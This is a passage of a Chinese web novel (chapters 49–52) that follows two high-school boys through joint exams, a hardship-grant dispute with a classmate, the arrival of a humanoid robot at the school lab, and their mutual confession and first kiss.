他思路说得很流利,边煦听得出他确实会了,抬头刚想夸下他,卷子刷得真挺扎实。 可一抬眼,却见他目光直直地看着自己,像……也倾慕似的。 边煦心里涟漪似的一晃,霎时就很想亲他,但又不行,只好打趣他:“你偷看我。” 方笑贻忍着想撇开的视线,尽量若无其事了:“没,我光明正大地在看。” “看什么?”边煦似笑非笑。 方笑贻说:“看你头上有没有头皮屑。” 边煦天天被他气笑:“你也就抖这种机灵最厉害。” 方笑贻也跟着笑:“管它是什么,厉害就行了。” 第49章 联考这2天都在下雨,天色异常阴沉。 好多人都嫌闷,刘丞丞也说缺氧,困,但也不耽误他话多。 “听说这次的考试卷子,是外国语出的。” 座位昨晚就拉开了,但刘丞丞拖着板凳,倒坐在边煦的桌角上,一并对他俩抱怨:“这个学校的出题风格,可以说是前科累累的歹毒!” 方笑贻扒过历史卷,但却没注意过出题方。因为只有强校才有联考的风气,谁出卷子、什么风格,都是他见识储备以外的东西。 “怎么个歹毒法?”他来了点兴趣。 “就是难,刁钻,”刘丞丞心有戚戚道,“为了不让别的学校的考好,把自己学校的也全部难死那种。” 方笑贻闻言,心里就在想:那要是这样,稍微做对一道难题,排名可能都会大不一样。 所以考试的间隙里,他专门找了些偏门的难题看了看。 边煦凑过来问他在干嘛,他也给边煦看。 第一场8点开考,考语文。那卷子一发下来,风格果然有点生僻。 化学也不简单,所以上午一考完,教室里哀鸿遍野。 不过到了下午,第一场考完数学,边煦的含金量忽然就上去了。 因为倒数第二道17分的大题,跟他那个文档里的一道,除了运算的数字不一样,题干根本就是一个。 刘丞丞牙都笑掉了,老师一走他开始对边煦比心了:“我就知道信你没错!” 谭威也喜笑颜开的,来方笑贻这儿闪现过一次:“哈哈哈尼玛的,我最后一问忘记了,没做出来。但要是没有这个小抄,我一问都不会做。从今天开始,你的室友,就是我的神!” 不过也有不高兴的,李晨阳就是其中之一。 那个文档,谢恒提前几天就发在了群里,李晨阳觉得不一定有用,根本没看。 这会听见张厦他们都在说白捡10分+,又急赤白脸地去看物理了。 只是这些本来就是难题,他乍一看,有答案都看不懂,登时又在教室里寻摸一圈,找见边煦在方笑贻那儿,连忙跑了过去。 这边,边煦正坐在方笑贻的考桌上闲扯淡。 他问方笑贻数学考得怎么样,方笑贻说还凑合,说完又问他:“你怎么把吹彩虹屁的全赶走了?” 刘丞丞和马嘉楠他们刚刚都在这里,激情对答案。 “吵啊,”边煦说,“跟八只鸭子一样。” 方笑贻笑死了:“刘丞丞听到了,立马变成十六只。” “别让他听到。”边煦说。 方笑贻抬了下眉毛,没接这茬,只从口袋里摸了颗糖出来,又问他:“你政治背完了吗?” 边煦一瞥,发现还是上次的那个青葡萄糖。方笑贻吃东西有点像npc,吃那几样就一直吃。 “不晓得背完了没有,”边煦说,“不想背了。” 说着他伸手,把人指尖上的糖勾走了。 方笑贻手上一空,立刻斜了他一眼,但也懒得吐槽什么了,兀自又掏了几个出来,正要说:活该,叫你喜欢临时抱佛脚。 李晨阳的声音就先冒了出来:“边董,能不能给我讲下这个题啊?” 方笑贻循声一看,就见他站在边煦前面,嘴里说的是“能不能”,可实际上根本没等人回答,就已经问了起来。 “这个,它这里,为什么可以用平均速度乘以时……” 边煦不耐烦地瞥他一眼,直接打断了:“不能。” “……间来表示……” 李晨阳嘴比脑子快,又说了个几个字才刹住嘴,表情变成了一种不信的难堪,他说:“为什么?” 边煦看着他,心里没有一丝搭话的欲望。 然后,李晨阳就自行从这阵沉默里,解读出了瞧不起,自尊心瞬间爆炸了。 下一秒,方笑贻看见他脸逐渐憋红,表情介于气愤和屈辱之间地对着边煦说:“学霸,到底是什么意思嘛?是不屑于跟我这种差生说话吗?” 他嗓门一抬,在附近学习休息的同学,立刻就看了过来。 边煦眉心一蹙,脸色渐渐就冷了。 有些人就是,又不聪明又没素质,烦得毫不自觉。 只是他还没开口,方笑贻目光就掠过他的侧脸,忽然插进来说:“课代表,他在背书哈,你别打断他了。” 李晨阳斜他一眼,因为根本不信,所以连他也怼:“是吗?可我来的时候,只看见你们在吃糖。” 吃你大爷。 方笑贻也觉得他真烦,但脸皮还是比边煦灵活得多,只说:“怎么?吃糖和背书不能有交集是吗?” 李晨阳噎了下,余光里又见周围一堆人在看,顿时十分下不来台:“……不是,只是、我问为什么的时候,他也没说他在背书啊,他只是没理我而已。” 方笑贻心想:那就是不想理你啊,我也不想。 但嘴上还是说:“背书嘛,背沉浸了,是这样的。” 他接话快,神色又正直,李晨阳根本说不过他,忽然又找不到“理”了。 倒是旁边,李欣看不惯李晨阳,一脸讥诮地来了句:“人家说在背书就是在背呗,倒是有些人脸皮才厚哦,人家不给他讲题,他就恼羞成怒了,一个字,绝。” 其他人也笑而不语,李晨阳脸颊上的肉抽了抽,转头大步走了。 等人都走了,边煦才把那颗糖撕开塞进嘴里,看着他说:“你跟他说那么多干嘛?” “那不然说什么?”方笑贻眯眼盯了他一下,随即代入式发言,“滚吗?” 边煦哭笑不得:“不至于,我的情商还没有这么的狂霸拽。” “那你原本是准备说什么的?” “你想多了呗,”边煦说完又打了个补丁,“我说他哈。” 方笑贻白了他一眼:“我智商在线,听得懂谢谢。” 边煦笑了下,又问他:“你插嘴,是怕我得罪他吗?” 方笑贻说:“也不是怕,就是没必要,就别得罪好了。” 人说,宁得罪君子勿得罪小人,李晨阳看着心眼就挺小的。 然后果然,吃了晚饭回到教室,刘丞丞就又拖着板凳往后一趴,举着个手机说:“兄弟几个,来,看看,这是在挖苦你俩吗?” 两人凑过来往他屏上一看,登时看见了一条朋友圈。 [木子李]:为什么现在的学霸给人的感觉很自私,很高冷呢? →[TXS]:精致的利己主义者呗 方笑贻眨了两下眼睛说:“……应该没有‘们’,只是在挖苦你的煦子而已。” 而“他的煦子”在旁边无动于衷。 往常这种时候,杨妙不会插嘴,但她会扭头看他们拌嘴。 但今天她没有,只是趴在前面背书,头也没回一下,但是也没人注意她,只以为她在沉迷复习。 倒是刘丞丞一听,李晨阳竟然真干了这种蠢事,登时也服了:“这他娘的可真是个人才,好好的大腿硬是一jio踹飞。以后小抄不许给他们了,只有我和小马、尧尧才是真的。” 边煦坐下来说:“你也是个假的。” 刘丞丞嚷嚷了两句,又解开手机说:“我来骂他,快想点扎心的话。” 边煦才懒得理李晨阳,跟这种人逞口舌之争,就是吊打又有什么用?不如背历史。 但是方笑贻把刘丞丞的手机接到手里,敲了会儿屏幕。边煦没忍住,又歪过头来,看他在底下回了一条。 [刘momo]:没占到便宜,急了。 边煦登时又笑了下,感觉他好像在维护自己。 第二天要考5门,更是焦头烂额,一晃就到了晚上。 晚上学校大发慈悲,没让上课了,只叫学生整理好桌椅,然后开了几个选修课教室,给大家放电影。 方笑贻跟边煦进的是204,放的是《小妇人》,他俩倒也不是因为爱看才进来的,只是因为人少。 但看到后面,乔说:如果我只是书中的一个女孩,那就简单多了。 还有劳里对她表白的时候,他们之间的那一场对话。 他俩忽然就各自共情到了,边煦共情还爱着乔时的劳里,而方笑贻觉得,认为他们之间并不平等的乔,有点像自己。 所以看到最后,劳里爱上了别人,而乔也嫁给了另一个人,他俩心里都挺怅然若失的。 不过比起酸涩的小心思,更具体的好事,先降临到了方笑贻头上。 先是依次发下来的试卷,数学145,语文117,政治80,化学85。他跟边煦差距都很小,综合目前只差7分,其中5分就差在了数学上,这货又是一个满分,可恨。但却甩了刘丞丞和杨妙三四十分。 刘丞丞眼睛都快凸出来了,他难以置信,方笑贻上次还排在自己后面的。 “沃日你是不是偷偷开了个什么学霸系统?”刘丞丞指着他俩,以谴责的眼神横扫,“或者是煦子偷偷给你开了什么小灶?” 边煦只是陪了陪,并对这结果,也微微有点吃惊。 他不是说方笑贻不如他,只是方笑贻家学习环境不好,理论上,上升也需要时间。可他这次蹿升非常快,假日时日…… 边煦没来由的,忽然产生了一点危机感,说:“我自己都快翻车了,还小灶。” 刘丞丞一下又乐了:“哈哈哈也是,你也是一副也快完蛋的感觉,毕竟你文科都菜菜的。” 其次是高蓬忽然叫他去办公室,给了他一份彩印的文件。 《李炳卓个人成才助学金》计划。 “其实奖学金也有,”高蓬喝了口茶说,“但只有高考生有,给全校前20。这个还远,我就不跟你说了,你先了解下助学金就行。” 第50章 方笑贻从办公室回来,又依高蓬的传唤,把杨妙叫了过去。 她最近有点消沉,一下课就趴在桌上。不过刘丞丞问她怎么了,她又说没事,只是犯困。 方笑贻也没多说什么,杨妙并不是他特别关注的人。 倒是边煦特别关注他,注意到他回来了,就问高总找他干什么?方笑贻跟他说了下那个助学金的事。 边煦听说一年有6000,在公立高中,实在不算少了,还跟他开了个玩笑,说:“一不小心,又要发财了。” “滚蛋。”方笑贻嘴里这么说,可又眉开眼笑的。 而他一高兴,边煦就赏心悦目,拆了条风干牛肉塞他嘴里,又拆了个给自己吃。 他总觉得方笑贻肉吃少了,所以在寝室柜子里备了几斤牛肉条。可实际上,刘丞丞吃的最多。 隔天,高蓬才把助学金的事通知在班上,让自认为符合条件的人上台领申请表。 “我提醒一下,”高蓬敲了下桌子说,“虽然这个是助学金,但它的本质是一种励志类的奖学金,颁给成绩优秀但家里有困难的同学。然后,学校也会上门去了解情况,坚决杜绝“朱同学”那种事件的发生。行了,来领吧。” 教室里一阵窃窃私语后,前面有两个男生相继上去了。 方笑贻也上去领了一张,下来的时候,杨妙刚要上讲台,她低着头,但往旁边让了让。 李晨阳本就看不惯方笑贻:一个乡巴佬,还跟边煦那帮子打得火热,真不知道凭什么? 又见杨妙比他卑微不知道多少,李晨阳心里登时就觉得:他不配领这个表,明明天天都在班上赚钱—— 不过眼下,李晨阳挺识相的,没说什么:一来,方笑贻联考大爆发,各科老师都爱得紧。二来,边煦那几个也护着他。 李晨阳只在心里想:这个钱,最后要不是给杨妙的,那就太黑了。 对于他的敌意,方笑贻一无所知。他回到座位上,仔细看了下申请表。 边煦也来凑了下热闹,只见这表和后面大学里的国家助学金表格大同小异。他也没看出什么来,因为方笑贻看起来也没怎么样。 无独有偶,晚自习之前,边煦被信奥老师叫走,回来也带了一张表。 《世界人形机器人格斗大赛-校赛报名表》 这是首届,由我方主办,又是风口,学校的领导异常重视,一接到协会通知,瞬间就开始组队备赛了。 边煦还夹回来一套人形ai的强化学习入门教程打印纸。那纸一个半硬币厚,翻开不是代码,就是各种轴承、连杆结构图,看着离高一课本无敌遥远。 刘丞丞翻着都头晕,方笑贻代码也看不来,但他喜欢看关节连杆的组件图,边煦也不晓得他看没看懂,只见他看得怪津津有味的。 刘丞丞也不懂,趴过来指点江山:“这三个腿儿,长得特么都一个样,又全是什么101/102,到底是个啥啊?” 方笑贻都不用翻附录,就能给他叨叨:“后面不是写了吗?这是腿部关节连杆的结构,就是一个腿,在3个不同角度看的效果。完了这个502,就是丝杠滚柱,101,大腿支架,102,小腿支架……” 边煦在旁边刷“碰撞模型修改”的视频课,都不由得地过来插了个嘴,问他:“你会看三视图吗?” “三视图?”方笑贻脸上懵了下,手上又把那“三个腿”一指,“就是这个吗?” 好吧,边煦知道了,他没基础,但明显对机械挺感兴趣,晚上回去都还在看别的关节,还一会一个问题。 “你们实验室里,有人形机器人吗?我说大的那种。” 边煦说:“说是买了个,还没到。” “到了我能去看吗?” “可以,但你不要跟刘丞丞说,不然他给我招一个团的观众。” 方笑贻笑得够呛,又问:“你老师那儿,还有更基础一点的资料没有?就是这种零件图的。” 边煦是搞算法的,也不太懂零件:“这么爱看?” 但不懂,也不耽误他去要资料。 但老师这边的人形资料也不多,这玩意是近两年才开源的东西,之前头部公司都严格保密,也就是内部更新换代了,所以把老版本拿出来分享。 边煦就去github上,给他要了些国外的零件资料,到实验室给他打印了,顺便问老师多要了套教材。 然后他俩各看各的,天天不是上课就是机器人。 直到周五下午,谢恒忽然跑过来说:“方啊,还有杨妙,高总说,那个助学金有个评议的流程,在下周你们交完材料之后,到时候会找你们寝室的人开会,你们自己跟室友说好哈。” 而后杨妙一瞬间爆红的脸皮和神色,才忽然让边煦注意到:向别人展示自己的贫瘠,可能是会让人受伤的。 贫困是女孩的隐私。[1]那男孩呢? 这天下午回寝室的路上,他问方笑贻:“谢恒说的那个评议,会让你觉得不舒服吗?” 方笑贻这会舒服得很。 这周政治老师请假了,今天下午才回来发了卷子,政治大家考得都烂,他考了79,居然是方圆最高的,比边煦还要高8分。 然后他把分数一加:不得了,一个天才横空出世,他总分901.5,比边煦还高1.5。 当时,边煦那个一瞬间呆住的表情,方笑贻直接笑趴了。 太搞笑了,边煦那个口是心非的样子。 眼下,方笑贻还在那种快乐的尾巴里,骤然听见这一句,愣了下说:“我还好,你怎么忽然问起这个了?” “谢恒来通知你们的时候,我看杨妙不太自在。” 最近天气凉快了些,梧桐道下也都是浓荫,方笑贻惬意地一转眼,看他英俊地站在旁边,朝自己挥洒鸡毛蒜皮的关心,忽然就感觉到了一种美好的印象。 自从上了高中,生活好像是好起来了。 这次搞不好,他就是全校第一了。还从天而降,一个获得6000块的机会。 那种浓烈的,像是在转运的征兆,让方笑贻忽然有了种他什么都敢做的错觉。 然后,他就朝边煦贴近了一步,再把手臂横搭在对方背上,坦荡地说:“我不会,我需要那个钱,我想要。” 6000块啊,有哪个陌生人,会无缘无故地给他姐和他妈妈6000块吗?这辈子大概都不可能了。只有学生才有这种资格。 这是福利,他只会心怀感激。 自从那天约定开始,边煦就没再碰他了。 但这并不意味着,边煦不想碰他。十五六岁,血气方刚,边煦能做到这个份上,全靠品行和忍耐力都过硬。 可这下,是方笑贻主动搂过来的。 边煦背上一重一热,眼神当即也震了下,扭头看了他好几眼,才无语地说:“有些人,只许州官放火,不许百姓点灯,太双标了。” 方笑贻却没看他,目光注视着前方,浅浅地笑着说:“放,从今天开始,都能放。” * 边煦呼吸一滞,心脏瞬间狂跳,不由得停住了。 可方笑贻还在走,微微一错动,搭在边煦右肩前面的手就隐隐开始往下掉。 边煦还愣着神,沉浸在那种幻听似的猝不及防里,但却摸瞎地一抬右手,把他的指尖抓住了。 那种实感让边煦回过神,随即切身感受到了一种心花怒放。 然后他歪过头,分明在憋笑,盯着方笑贻说,“你什么意思。” 方笑贻也小幅转过脸,状似平静的跟他对上了视线:“没听懂啊,那算了。” “少装蒜,”边煦拿右手把他的一拽,拽完手指又往上,从他的指尖捏到了手心,越说笑意越明显,“给我说!放什么?” 方笑贻被他一拽,忍不住也笑了起来:“放屁。” 边煦白了他一眼:“没情调。” 说完自己又很不值钱地笑道:“你不说,我可就自己开卷考试了啊。” 给他考?那进度真是不敢想,明天能上火星生孩子。 方笑贻赶紧给他打断了:“别。” 边煦撇了下嘴,又冲他轻轻一挑眉眼:“别废话了,赶紧说。” 方笑贻这才抿住玩笑,从他五官上打量进眼睛里。 以前他就不明白,为什么有时看边煦,总是很容易看“进去”,像被吸住了一样。现在方笑贻清楚了,是因为边煦对他有吸引力。 真诡异,方笑贻心想:这真是一件完全出乎预知以外的事情,在他平淡的生活里,忽然就出现了这么一个人,勾起了他对亲密的贪念。 那种贪念让他猪油蒙心,可自己凭什么又不能冲动呢? 方笑贻心口怦怦直跳,他感觉有点难为情,也有陌生的紧张,但还是硬着头皮在措辞:“我说,约法三章刚刚到期了,你要是……还想跟我试试,可以,我同意。” 幸福来得太突然,边煦一下被砸晕了。 又看见他说“可以”的时候,眼睛不自觉眨了下,像在加强某种肯定。 边煦心里霎时也跟被扫到似的,痒痒地往下陷。 这里要是寝室就好了,自己现在就捧他的脸,先亲一口再说。 但亲不了,说点甜蜜的…………算了,还是赶紧回去吧! 边煦用力地看了他一眼,手也一并攥紧了,然后凑到他耳边嘀咕:“谁在跟你试?我是要跟你在一起。但我现在不想跟你说了,我想回寝室。” 那阵吐息喷在耳朵上,语气本就亲昵,越往后又越低,透着一种暧昧的、荡漾的意味。 方笑贻耳根瞬间烘热,赶紧往旁边一歪:“回回回。” 边煦看见他耳朵红了,但也没心思调戏他,这种口嗨的小儿科,他眼下看不上了。他只把方笑贻的手从肩上拉下来,改为拉住手腕,一路狂奔着拽回寝室去了。 路上方笑贻叫他慢点,抽了他两下。边煦不改狂奔路线,一边喘一边笑。 快跑到寝室楼的时候,他俩碰到了张厦。 张厦一看边煦高兴像个刘丞丞,不由满头问号:“边董是中了500万吗?怎么笑成这样?” 边煦当下高兴,还拨冗理了下他:“俗。” 方笑贻被他拉着,甩也没甩脱,烦死了,也对张厦说:“别理他,发癫了。” 然后“发癫的”拽着他爬上楼,进门的时候两头汗。 边煦拧开门,推着他就进去了,期间反手摁上门,再单手扶着他的右臂,把装着作业的手提袋往桌上一扔。 砰的一声。 方笑贻再抬眼一对上他的眼神,有点赤裸,是对亲近的迷乱和渴望,心跳瞬间漏跳一拍,随即羞耻感才在脑中炸开。 边煦的心跳和呼吸全跑乱了,但乱了正好,他全靠本能操作。 自己的作业是丢了,但方笑贻的,他用腾出来的手给接走了,又欠了下身放到了桌上。 然后他才伸手捧住方笑贻的脸,拿大拇指往上抬了抬。 方笑贻看他凑过来,那张脸上也是高兴又害羞,跟自己也差不多,就情不自禁地朝他仰了下脸。 边煦察觉到这点回应,眉眼弯弯的,笑着过来就是一口。 他把嘴唇卡在了方笑贻的上唇,刚贴上去的时候,方笑贻还没反应,边煦怕他抵触,就那么贴着没动,然后自己睁着眼睛打量他。 方笑贻也跟他干瞪眼,边煦看他好像不反感,才噘起嘴来,在他唇瓣上抿吮了一下,随即感觉相贴的唇瓣极轻微地一翘。 边煦心里蜜里调油似的,定定地啄了一口长的,接着才退开了一点点,眼对眼地问他:“所以,我们这算在一起了吗?” 方笑贻心里也还擂鼓一样,但他分不清,是因为跑的还是亲嘴了。 但谁跟没关系亲嘴啊?他盯了下边煦的脸,又小鸡啄米地往前一点:“算。” 那一下正点在边煦嘴上,他都没来及噘嘴,就没了。不过,也足够他心里乐得开花了。 边煦眉眼弯弯的,又笑着去把他啄了下,带着退到了墙上,呢喃道:“但你没有说过喜欢我。” 方笑贻后背靠到实处,脑子里却有点空,因为眼睛、鼻腔、嘴巴,都被这个人和气息给占满了。 闻言,方笑贻反应了一下,才伸手搭住了他的肩膀,又看了他好一会,才声音微微发哑地说:“喜欢你,还是有点喜欢的。不过我没来得及给你买花。” “删掉第二句,花后面补给我,现在先亲嘴。”边煦说着又凑上来,一连啄了他4下。 方笑贻看他亲一下,就退开,目光视察似的在自己脸上晃,晃完再笑着凑上来。 那种甜蜜和悸动,很快也把方笑贻也浸透了。 边煦起先只是轻啄、碾贴,可等狂奔的心率降下来,他又觉得不满足,便试试探探地含住了对面的下唇。方笑贻登时触电似的,微微颤了下。 楼道里有人咋咋呼呼,他俩贴在墙角,聋了一样地把嘴从小学生水平亲到了初中。 亲到快缺氧了,方笑贻才撇开脸,去卫生间洗了把脸。 边煦跟着也去洗了个,出来看见方笑贻在那儿假收东西,眼睛不太看自己,有点不好意思。 边煦其实也有一点,因为方笑贻唇色明显发红,但边煦还是过去了,拖了把坐到他床边,看见他手闲下来,就伸过去捏两下,边捏边解谜:“你怎么这么快就想通了?” 方笑贻沉默了两秒,才据实以告:“没想通。” 让他想,他想到地老天荒也够呛。因为一想就麻烦重重。 边煦服了,箍了下他说:“那你这是?” “冲动,”方笑贻说,“脑残一样的冲动。” 这个理由相当难听,但是边煦还是有点了解他的,没点真心思,冲动都冲不起来,便也没生气,只说:“你平时想太多了,脑残几回,可以中和下思考的毒素,挺好的。” 方笑贻叫他滚,边煦不干,又问他:“你是从什么时候开始喜欢我的?” 方笑贻笑了下说:“可能是你说‘永远不找’的时候,我动摇的那一秒吧。” 那种勇气和心意,是方笑贻真的没有的东西。可以说,没有那个下午,就绝不会有今天这一刻。 收完东西,方笑贻不跟他一起去吃饭,因为会迫害司机的时间,两人只好各回各家了。 考试完了,方笑贻学习节奏放松了一点,把助学金的事跟家里说了,又把日常做完了,就洗漱回屋,还看那些机械手臂和腿儿,自己还上b站找了些视频看。 9点半过了,边煦给他打视频,那个平板还在旁边漏放:14个线性关节和12个…… 方笑贻连忙戳了两下屏幕,这个平板有点卡了,一次老是暂停不住。 边煦听到个边角,好笑道:“这么狂热?你要不来给我们组队吧,你负责搞零件。” 方笑贻听他鬼扯:“你们队里没有负责零件的吗?” “有,”边煦说,“但以前做的全部都是遥控车类的,人形机器人是全新的东西,他们一样得从头学起。” 方笑贻就是看着玩,但他一般不会张口就拒绝邀请:“那我回学校了,跟你去实验室看看。” 两人又说了点废话,边煦说他想喝米酒,方笑贻说星期天给他带,又问他还吃不吃番茄……啰里八嗦了一通,最后换了两首歌,挂了。 第二天上午,高蓬在班级群发了通知。 [班主任.高蓬]:@所有人联考排名出来了,自己上智学网上查哈 方笑贻一查,他还真是全校第1,然后4000人的联考,他排第7。边煦则两项都挨着他。 群里,好些人都把他吹上天了。但是方笑贻心里清楚,这次还是运气在。 因为临开考前,他在手机上看了道地理大题,考试刚刚就考上了,满分18,他得了17,而边煦和刘丞丞都得了0.5分,杨妙得了3分。然后四下一看,这个题普遍3分以下。 自己语文和物理还是弱了点,后面还是得补一补。 周天下午,他带着边煦要吃的东西,又提早去了学校,因为某人在手机上催。 只是进了学校,还没走到寝室楼,半路碰到了李晨阳,他是从寝室楼往外面走。 方笑贻装作没看见他,原本正要路过,可李晨阳斜穿过来,把他拦住了。 然后方笑贻看见他像个元首一样说:“你应该把助学金名额让给杨妙的。” 方笑贻压根没理他,绕着过去了,但李晨阳又在后面说:“杨妙家里出事了,都不想读书了,你还抢她的助学金,你还是不是个人哪?” 50-60 第51章 李晨阳的慨他人之慷,方笑贻压根没放心上,就没跟边煦说。 也没什么机会说,因为他回到300的时候,谭威也在,这货一通操作,先拧开盖子对嘴就是一口米酒,再一通抱怨,还连吃带拿。 “日啊我恨你,我在我们班排第一,你知道我有多久没考过第一了吗?才笑了几分钟啊!结果我妈一看到你的成绩,骂了两天我是猪,我踏马!人跟人不一样啊,她怎么就是明白不过来?!” “她叫我来问你学习呢,还叫我晚上带你去吃饭,她炖了蹄髈。” “嗯哼?今年的小番茄比去年的好吃,你给我装点儿,我拿去给我同桌吃。” 没20分钟,就把边煦给操作走了。 说起来真的有点惭愧,他以前鄙视谈恋爱的,感觉智商都不高的样子,整天不知道在骚动什么。谁知道自己谈起来,就两个早上没见着人,他心里居然空落落的。 然后好不容易人来了,手都没拉上一个,光听谭威这儿啰嗦了,还吃他的喝他的。 边煦心里本来有点不爽:那可是他对象,给他带的—— 谭威这个电灯泡。 于是边煦给了谭威几个冷眼,又爬下床,没什么表情地对方笑贻说了句:“我去实验室了。” 那个眼神其实是幽怨,但是谭威没看懂,边煦一走,他就阴暗地说:“你室友怎么看着不太高兴呢,是不是你考试把他超了,他伤自尊了?” 方笑贻表情霎时就有点微妙,又想解释,又没法说透,还想笑,那种感觉很新奇,像是忽然多了层边界。 “不是,”方笑贻哭笑不得,“他只要数学不被超,其他无所谓的。” 谭威明显一哽:“他数学考多少?” 方笑贻说150,谭威登时顾不上边煦高不高兴了:“畜生啊!你们两个都是。” 方笑贻懒得理他,把手机搁到桌子底下,给边煦发消息:[怎么跑了] 边煦没有立刻回,他在路上走,没看手机。 实验室在7楼,但边煦上到2层的楼梯口时,看见杨妙跟李晨阳站在尽头的墙边,像在闹口角。 两人先不知道说了什么,杨妙激烈地就是一声:“那也不要你管!” 李晨阳也挺生气,骂她是狗咬吕洞宾,剩下一句看见边煦,收住了。 边煦看了他俩一眼,又问杨妙:“需要帮忙吗?” 杨妙难堪地摇了下头,李晨阳跟着也叫道:“什么帮忙?我又没把她怎么……” 边煦无视了他,转过弯上楼了,放下东西才看见消息,立刻回了两条。 [才到教室] [不跑我就想把谭威扔出去了] 寝室这边,谭威团战正酣,开了语音,满嘴都是一种植物。 方笑贻便也有空,连绵地跟他发废话。 [大富翁]:不至于,就一点吃的,我下周再给你带 [边煦]:至于 [大富翁]:…… [大富翁]:那你回来吧,我俩抬着,把他扔出去 [边煦]:花言巧语,马后炮 [大富翁]:不是,他吃你东西,你撅我,不合适吧? [边煦]:合不合适都撅你 [大富翁]:??? [边煦]:一无所有,破防了 方笑贻没忍住笑了一声:无聊。 其实只是个闷笑,可谭威刚好推完水晶,麦一关听了个正着,又抬眼见他笑得喜不自禁。 那种喜色,和看到搞笑视频的急促或爆发式开心还不同,它含蓄缠绵,透着种“互动”的意味。 可他在跟谁互动? 谭威眼里贼光一闪,脑袋猛地往他屏幕那边一凑,偷看道:“什么东西这么好笑?” 旁边一颗大头忽然冒出来,方笑贻被他吓了一跳,想也没想就摁熄了屏幕。 可摁完才反应过来,他跟边煦这会也没说什么。只是他自以为想得多,实际上在没经历的领域,反应该嫩也还是嫩。 但这会,他没打算跟谭威坦白。因为心里太清楚了,谭威很难有祝福给他。 而他心里的信念,也还没有那么强,方笑贻不想有人朝他泼冷水。 同一时间,实验室里。 边煦等了会儿,没等到他回复,却听见一阵脚步和人声进来了。边煦循声回过头,就见数竞的老林带着一堆人,从前门鱼贯而入,有穿西装、带鸭舌帽的,也有搬箱子的。 老林抬头看见边煦,立刻朝他招了下手。 “边煦,你在啊,正好,来,我给你介绍一下。这是榆林大学多模态学习实验室的赵老师,这位是他实验室的学生,也是你们早几届的学长,向黎。呐赵老师、向黎,这是边煦,他高一的,数学信息一起搞。” 边煦应声过来,点头简单打了招呼:“赵老师好,学长好。” 赵老师40出头,人有点矮胖,方圆脸、戴黑框眼镜,工科气质很浓,但挺擅长社交,先呵呵地对边煦说“好好好”,又转头跟老林寒暄:“几门一起搞,这是种子选手,没跑了。一中真是越来越人杰地灵了,真好啊。” “灵什么灵啊,”老林明明脸上有光,嘴上又非要装,“都不听话的很。这个吧,除了数学物理,其他全是个不爱学。还有一个呢,总分冲起来挺猛,数学又不行。嗳,不说他们了,来师傅,麻烦把东西放到那儿,对,再往前一点。” 他一边说,一边带着人往实验室的空地上走。 边煦出于人情世故地尾随着他,眼睛打量着师傅搬的纸箱子。 它们有长的、有方的,应该就是学校订的机器人。 与此同时,右边戴鸭舌帽的向黎也在打量他,脸上露出一种女生在路上看见大帅哥时的追视和笑意。 边煦走了几步,察觉到似的,偏头瞥了他一眼,看见他右耳垂上有个耳钉。 向黎倒也没收敛,斯文地冲箱子一抬下巴:“那是我们实验室之前训练过的人形T1机器人,1米3款的,还有吊装滑轮和支架。” 这人虽然盯他了,那眼神还是一种外露的不清不白。 但因为他姿态挺坦荡,边煦倒也没特别反感他,礼貌性地冲他点了下头,点完就摸出手机,走到旁边,给方笑贻打了个电话。 谭威一听说来了个机器人,激动地跟着方笑贻跑到了实验室。 这边,工人还在里面装吊轨,时不时一阵电钻声响,但那个机器人已经拆出来了。 方笑贻进门的时候,它正在颤颤悠悠地往下蹲,然后一个戴黑色鸭舌帽的男生上去,把它背后的扶手线圈一抓,再一提,它就“扑通”一声。 谭威登时发出了一声“卧槽”:“它咋跪在地上了?” 方笑贻乍一下也没看明白,过去走到了边煦后面。 边煦听到后面有人,一回头看见他俩,自觉让到左边去了。方笑贻于是挨着他,把他让出来的位置给谭威了。 谭威一路过来,看它咵咵平板撑在地上,终于恍然大悟:“哦哦哦,原来它是要做俯卧撑。” 近看,它跟春晚的那个外形很不一样,除了上身是银色,其他部位都是黑的,整体更有“儿童”感。 方笑贻小声说:“这是哪一家的?我怎么没见过。” “国内一家小公司做的,”边煦声音也不大,“叫原动力。” 方笑贻只知道波士顿动力:“没听过,不过这做得感觉还可以。” “是可以,”边煦说,“这个比玉树那个要便宜1/3,性价比已经很好了。” 谭威为了听见他俩说话,朝边煦这边搂着方笑贻:“哪里可以了?它这爬起来还在打颤颤,怎么格斗啊?” “训练嘛。”又一道声音插进来。 方笑贻循声一看,那个戴帽子的,不知道什么时候挪到跟前来了。 他看着比在场的学生都要成熟,个子比谭威矮些,模样斯文,脸细看微微有点女相,正冲他们笑道:“通过动作捕捉、真人示范、模拟平台,让它不断试错、记录,等数据和算法迭代够了,它就会变熟练了。” 谭威压根没听懂,主打就是一个尊重:“哦。” 方笑贻却是见他看到自己身上,客气地冲他点了下头:“您好。” 然后边煦看见这个姓向的,笑眯眯地方笑贻说:“你好,我是向黎,是林老师找来帮你们做训练的学长,你要玩儿一下吗?” 边煦登时警惕地扫了他一眼。 向黎是不是gay,边煦还不能确定,但他是个颜狗,这事基本是铁板钉钉。 之后一直到吃饭,他都没少跟方笑贻说话,但因为他们聊的东西很正经,什么零动力拖动ros机械臂、视觉抓取,边煦也没理由打断,还眼睁睁地看着他俩加了v信。 好在这个饭局结束得很快,吃完老林就把他们送走了。 两人从小食堂2楼下来,走到把信息班上的其他同学都撇掉了,边煦才忽然“哼”了一声。 方笑贻莫名其妙,问他在哼什么,边煦说:“吃醋啊,这一下午,被冷落得够呛。” “神金,”方笑贻笑着说,“我一天到晚,起码有20个小时都跟你呆在一块,还冷?都快黏死了。” “黏不死。” 第52章 两人插科打屁的上了楼,回到教室才坐下,前面杨妙就跟后脑勺长了眼睛似的,迅速转身往方笑贻桌上放了张纸条。 [李晨阳找你,我不知道,对不起!你能跟我出去一下吗?] 方笑贻不知道出去是要说干什么,但他沉吟一瞬,还是把纸揉掉,跟着她出去了。走前,他跟边煦打了个手势,意思是自己出去了。 边煦点了下头,目送他走了几步,脑筋已然开始打转了。 李晨阳找过方笑贻?什么时候?应该就是下午来的时候,不过这个也不重要,重要的是他找方笑贻,跟杨妙有关。 而方笑贻跟杨妙最近能挂钩的东西,也就那个助学金了。 * “对不起,我不知道他会去找你的。” 到了下午跟李晨阳说话的墙边,杨妙一张嘴,又还是这一句。 方笑贻不知道是李晨阳夸张了,还是她没搞清楚情况。 不然书都不想读了,这种口头上的误会,又有什么重要的? 但方笑贻不清楚,只好沉默了几秒才说:“是你让他去找我的吗?” “不是啊,”杨妙震惊道,“怎么可能?” “那你有什么好道歉的?” 杨妙一瞬间被问住了,可嘴上却又本能地说:“可他是因为我才去找你的。” 